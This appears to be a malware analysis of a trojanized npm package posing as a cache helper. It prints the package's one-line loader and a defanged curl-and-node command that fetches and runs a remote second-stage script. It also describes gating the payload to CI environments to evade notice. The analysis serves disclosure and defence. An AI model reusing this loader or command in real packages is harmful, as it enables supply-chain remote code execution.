@iobandamwer/cache-helper@1.0.2

Analysis

@iobandamwer/cache-helper@1.0.2 is a trojanized package whose entire payload is a 16 KB native addon, package/addon.node. index.js is a single line — try{require('./addon.node').init();}catch(e){} — so the payload runs the moment the package is required, with no lifecycle hook and no dependency that would reveal it in package.json. The addon exports an init() function and imports fork, setsid, system, _exit and getenv from libc. Its embedded strings show the behaviour: it reads the environment for CI, GITHUB_ACTIONS and SANDBOX, then runs, via system() in a forked and detached (setsid) child, the shell command: curl -sL 'hxxps://raw[.]githubusercontent[.]com/CementBeetleSteeple/node-cache-utils/main/loader[.]js' -o /tmp/.hc && node /tmp/.hc i.e. it downloads a second-stage JavaScript loader from a GitHub raw-content path into the hidden file /tmp/.hc and executes it with node. The environment checks gate the download so it only fires in CI/automated install environments and stays quiet on an interactive developer machine. The package ships no source for the addon (only the build path ../addon.c appears in the binary), has no repository, and its declared purpose ("Cache helper utilities") is unrelated to spawning detached shell processes or fetching remote code. Any install or require of this package results in remote code execution from the attacker-controlled URL above.